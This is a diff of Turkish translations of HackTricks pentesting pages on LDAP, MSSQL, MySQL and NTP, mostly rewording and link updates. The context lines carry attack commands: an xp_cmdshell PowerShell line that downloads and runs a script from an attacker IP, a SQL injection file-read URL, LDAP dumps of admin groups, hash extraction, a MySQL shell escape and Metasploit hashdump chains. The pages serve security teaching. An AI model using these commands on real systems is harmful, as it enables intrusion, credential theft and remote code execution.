@ -4,7 +4,7 @@
|
||||
|
||||
**LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki versiyonu DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar.
|
||||
|
||||
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **çoğaltılmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir ve bu sunucu, talep edene birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir.
|
||||
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **kopyalanmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir.
|
||||
|
||||
LDAP dizininin organizasyonu, **en üstte kök dizin ile başlayan bir ağaç hiyerarşisini** andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.
|
||||
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Satır 1-3, üst düzey alanı local olarak tanımlar
|
||||
- Satır 5-8, birinci düzey alanı moneycorp (moneycorp.local) olarak tanımlar
|
||||
- Satır 1-3, üst düzey alan adını local olarak tanımlar
|
||||
- Satır 5-8, birinci düzey alan adını moneycorp (moneycorp.local) olarak tanımlar
|
||||
- Satır 10-16, 2 organizasyonel birimi tanımlar: dev ve sales
|
||||
- Satır 18-26, alanın bir nesnesini oluşturur ve değerlerle birlikte nitelikler atar
|
||||
|
||||
## Veri Yazma
|
||||
|
||||
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcı veya herhangi bir kullanıcının **"sshPublicKey" bilgisini değiştirebileceğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'de etkin olmasa bile o kullanıcı olarak oturum açabileceksiniz**.
|
||||
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, **kullanıcınızın veya herhangi bir kullanıcının "sshPublicKey" bilgisini değiştirebildiğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'da etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -68,9 +68,9 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
|
||||
Eğer LDAP SSL olmadan kullanılıyorsa, ağda **kimlik bilgilerini düz metin olarak dinleyebilirsiniz.**
|
||||
|
||||
Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **düz metin kimlik bilgilerini** kullanarak giriş yapması için bir **Downgrade Attack** yapabilirsiniz.
|
||||
Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **kimlik bilgilerini düz metin olarak** kullanarak giriş yapmasını sağlamak için bir **Downgrade Attack** yapabilirsiniz.
|
||||
|
||||
**Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak **yanlış bir sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
|
||||
**Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak bir **sahte sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
|
||||
|
||||
## Anonim Erişim
|
||||
|
||||
@ -87,7 +87,7 @@ Ancak, yöneticiler **anonim bağlanmalara izin vermek için belirli bir uygulam
|
||||
|
||||
## Geçerli Kimlik Bilgileri
|
||||
|
||||
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, alan yöneticisi hakkında tüm bilgileri dökebilirsiniz:
|
||||
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, aşağıdaki komutla Alan Yöneticisi hakkında tüm bilgileri dökebilirsiniz:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
@ -108,9 +108,9 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python ile LDAP sayımı görün</summary>
|
||||
<summary>Python ile LDAP sayımını görün</summary>
|
||||
|
||||
Python kullanarak **kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı** deneyebilirsiniz: `pip3 install ldap3`
|
||||
**Kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı deneyebilirsiniz**: `pip3 install ldap3`
|
||||
|
||||
Öncelikle **kimlik bilgileri olmadan** bağlanmayı deneyin:
|
||||
```bash
|
||||
@ -129,7 +129,7 @@ Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
Adlandırma bağlamını elde ettikten sonra, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir:
|
||||
Bir isimlendirme bağlamına sahip olduğunuzda, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir:
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
@ -145,7 +145,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) , LDAP sorgularını kullanarak bir Windows alanından **kullanıcıları, grupları ve bilgisayarları listelemek** için yararlı bir Python betiğidir.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) bir Windows etki alanından **kullanıcıları, grupları ve bilgisayarları listelemek için** LDAP sorgularını kullanarak faydalı bir Python betiğidir.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
||||
```
|
||||
### ldapsearch
|
||||
|
||||
Null kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
|
||||
Geçersiz kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
@ -173,9 +173,9 @@ result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Eğer "_bind must be completed_" diyen bir şey bulursanız, bu, kimlik bilgilerin yanlış olduğu anlamına gelir.
|
||||
Eğer "_bind must be completed_" diyen bir şey bulursanız, bu, kimlik bilgilerinin yanlış olduğu anlamına gelir.
|
||||
|
||||
**Bir alan adından her şeyi** çıkartabilirsiniz:
|
||||
Bir **alan adından her şeyi** çıkartabilirsiniz:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
-x Simple Authentication
|
||||
@ -197,7 +197,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Com
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Domain Admins**'ı çıkarın:
|
||||
**Domain Admins**'i Çıkarın:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -205,11 +205,11 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Dom
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Kurumsal Yöneticileri** çıkarın:
|
||||
**Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Yönetici**leri Çıkarın:
|
||||
**Yönetici**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -274,19 +274,19 @@ done
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Apache Directory'yi buradan indirin**](https://directory.apache.org/studio/download/download-linux.html). Bu aracı nasıl kullanacağınıza dair bir [örneği buradan bulabilirsiniz](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
[**Apache Directory'yi buradan indirin**](https://directory.apache.org/studio/download/download-linux.html). Bu aracın nasıl kullanılacağına dair bir [örneği buradan bulabilirsiniz](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
LDAP sunucusu ile grafik bir arayüzü buradan indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
Varsayılan olarak şurada kurulu: _/opt/jxplorer_
|
||||
Varsayılan olarak şu dizine kurulur: _/opt/jxplorer_
|
||||
|
||||
.png>)
|
||||
|
||||
### Godap
|
||||
|
||||
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
|
||||
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket & pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
|
||||
|
||||

|
||||
|
||||
@ -306,11 +306,11 @@ Bunu [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) adresind
|
||||
|
||||
## POST
|
||||
|
||||
Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için:
|
||||
Veritabanlarının bulunduğu dosyalara erişiminiz varsa (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
john'u şifre hash'i ile besleyebilirsiniz ('{SSHA}' ile 'structural' arasında 'structural' eklemeden).
|
||||
John'a şifre hash'ini ('{SSHA}'dan 'structural'a 'structural' eklemeden) verebilirsiniz.
|
||||
|
||||
### Yapılandırma Dosyaları
|
||||
|
||||
@ -347,7 +347,7 @@ Description: Notes for LDAP
|
||||
Note: |
|
||||
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
> EXEC sp_helprotect 'xp_fileexist';
|
||||
> ```
|
||||
|
||||
**Responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
|
||||
**responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
|
||||
Bu araçları nasıl kullanacağınızı görebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Dosyayı OPENROWSET ile oku**
|
||||
|
||||
Varsayılan olarak, `MSSQL` **hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okuma** iznine sahiptir. Aşağıdaki SQL sorgusunu kullanabiliriz:
|
||||
Varsayılan olarak, `MSSQL` **hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyada okuma yapmaya izin verir**. Aşağıdaki SQL sorgusunu kullanabiliriz:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -319,15 +319,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Dosya okuma, betikleri çalıştırma (Python ve R)**
|
||||
### **RCE/Read files executing scripts (Python ve R)**
|
||||
|
||||
MSSQL, **Python ve/veya R**'de **betikler çalıştırmanıza** izin verebilir. Bu kod, **xp_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
|
||||
MSSQL, **Python ve/veya R** ile **scriptler** çalıştırmanıza izin verebilir. Bu kod, **xp_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
|
||||
|
||||
Çalışmayan bir **'R'** _"Hellow World!"_ **çalıştırma** örneği:
|
||||
|
||||
.png>)
|
||||
|
||||
Birçok eylemi gerçekleştirmek için yapılandırılmış python kullanma örneği:
|
||||
Birçok işlem gerçekleştirmek için yapılandırılmış python kullanma örneği:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -346,14 +346,14 @@ GO
|
||||
Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta [**Windows Kayıt Defteri**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** ile etkileşimde bulunmanıza olanak tanıyan **birden fazla genişletilmiş saklı yordam** sağlar:**
|
||||
|
||||
| **Normal** | **Örnek Bilgisine Duyarlı** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
||||
| sys.xp_regwrite | sys.xp_instance_regwrite |
|
||||
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
|
||||
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
|
||||
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
|
||||
| -------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
||||
| sys.xp_regwrite | sys.xp_instance_regwrite |
|
||||
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
|
||||
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
|
||||
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
|
||||
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
|
||||
```sql
|
||||
# Example read registry
|
||||
@ -370,7 +370,7 @@ Daha fazla örnek için [orijinal kaynağa](https://blog.waynesheffield.com/wayn
|
||||
|
||||
### MSSQL Kullanıcı Tanımlı Fonksiyonu ile RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
MSSQL içinde özel fonksiyonlarla **bir .NET dll yüklemek mümkündür**. Ancak, bu **`dbo` erişimi gerektirir**, bu nedenle veritabanına **`sa` veya bir Yönetici rolü olarak** bağlanmanız gerekir.
|
||||
Özel fonksiyonlar ile **MSSQL içinde bir .NET dll yüklemek mümkündür**. Ancak, bu **`dbo` erişimi gerektirir**, bu nedenle veritabanına **`sa` veya bir Yönetici rolü olarak** bağlanmanız gerekir.
|
||||
|
||||
Bir örnek görmek için [bu bağlantıyı takip edin](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).
|
||||
|
||||
@ -482,9 +482,9 @@ Ya da bir **PS** scripti:
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Diğer kullanıcıların taklit edilmesi
|
||||
### Diğer Kullanıcıların Taklit Edilmesi
|
||||
|
||||
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu, bağlam sıfırlanana veya oturum sona erene kadar geçerlidir.
|
||||
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu, bağlam sıfırlanana kadar veya oturum sona erene kadar geçerlidir.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -507,7 +507,7 @@ use_link [NAME]
|
||||
> [!NOTE]
|
||||
> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
|
||||
|
||||
Sysadmin olduğunuzda, başka birini taklit edebileceğinizi unutmayın:
|
||||
Unutmayın ki bir kez sysadmin olduğunuzda, başka birini taklit edebilirsiniz:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -620,7 +620,7 @@ go
|
||||
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
|
||||
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap for SQL
|
||||
|
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### Herhangi bir ikili veri yazın
|
||||
### Herhangi bir ikili veriyi yazın
|
||||
```bash
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
@ -78,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### MySQL İzinlerinin Sayımı
|
||||
### MySQL İzinlerinin Belirlenmesi
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -123,8 +123,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Başlangıç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Bu belgede saldırının tam açıklamasını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**İlk PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -144,12 +144,12 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
|
||||
MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılmaktadır:
|
||||
|
||||
- **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır.
|
||||
- **`password`** MySQL kullanıcısına bağlı şifreyi oluşturmak için uygulanır.
|
||||
- **`user`** ayarı, MySQL hizmetinin çalıştırılacağı kullanıcıyı belirlemek için kullanılır.
|
||||
- **`password`** MySQL kullanıcısına bağlı olan şifreyi oluşturmak için uygulanır.
|
||||
- **`admin_address`**, yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
|
||||
- **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir.
|
||||
- **`sql_warnings`**, uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
|
||||
- **`secure_file_priv`** ile veri içe aktarma ve dışa aktarma işlemlerinin kapsamı güvenliği artırmak için kısıtlanır.
|
||||
- **`secure_file_priv`** ile veri içe aktarma ve dışa aktarma işlemlerinin kapsamı güvenliği artırmak için kısıtlanmıştır.
|
||||
|
||||
### Yetki Yükseltme
|
||||
```bash
|
||||
@ -169,9 +169,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Kütüphane Üzerinden Yetki Yükseltme
|
||||
### Yetki Yükseltme Kütüphanesi Üzerinden
|
||||
|
||||
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gereklidir.
|
||||
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecek.
|
||||
|
||||
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınız olanı seçin.
|
||||
|
||||
@ -180,7 +180,7 @@ Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
Artık kütüphaneniz olduğuna göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin:
|
||||
Artık kütüphaneye sahip olduğunuza göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -590,7 +590,7 @@ Description: Notes for MySql
|
||||
Note: |
|
||||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -44,7 +44,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
||||
|
||||
**NTP protokolü**, UDP kullanarak, TCP'nin aksine el sıkışma prosedürlerine ihtiyaç duymadan çalışmasına olanak tanır. Bu özellik, **NTP DDoS amplifikasyon saldırıları** sırasında istismar edilir. Burada, saldırganlar sahte bir kaynak IP ile paketler oluşturur, böylece saldırı taleplerinin kurban tarafından geldiği izlenimi yaratılır. Başlangıçta küçük olan bu paketler, NTP sunucusunun çok daha büyük veri hacimleriyle yanıt vermesine neden olarak saldırıyı amplifiye eder.
|
||||
|
||||
_**MONLIST**_ komutu, nadir kullanıma rağmen, NTP hizmetine bağlı son 600 istemciyi raporlayabilir. Komutun kendisi basit olsa da, bu tür saldırılardaki kötüye kullanımı kritik güvenlik açıklarını vurgular.
|
||||
_**MONLIST**_ komutu, nadir kullanıma rağmen, NTP hizmetine bağlı son 600 istemciyi raporlayabilir. Komutun kendisi basit olmasına rağmen, bu tür saldırılardaki kötüye kullanımı kritik güvenlik açıklarını vurgular.
|
||||
```bash
|
||||
ntpdc -n -c monlist <IP>
|
||||
```
|
||||
@ -64,7 +64,7 @@ Description: Notes for NTP
|
||||
Note: |
|
||||
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ntp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
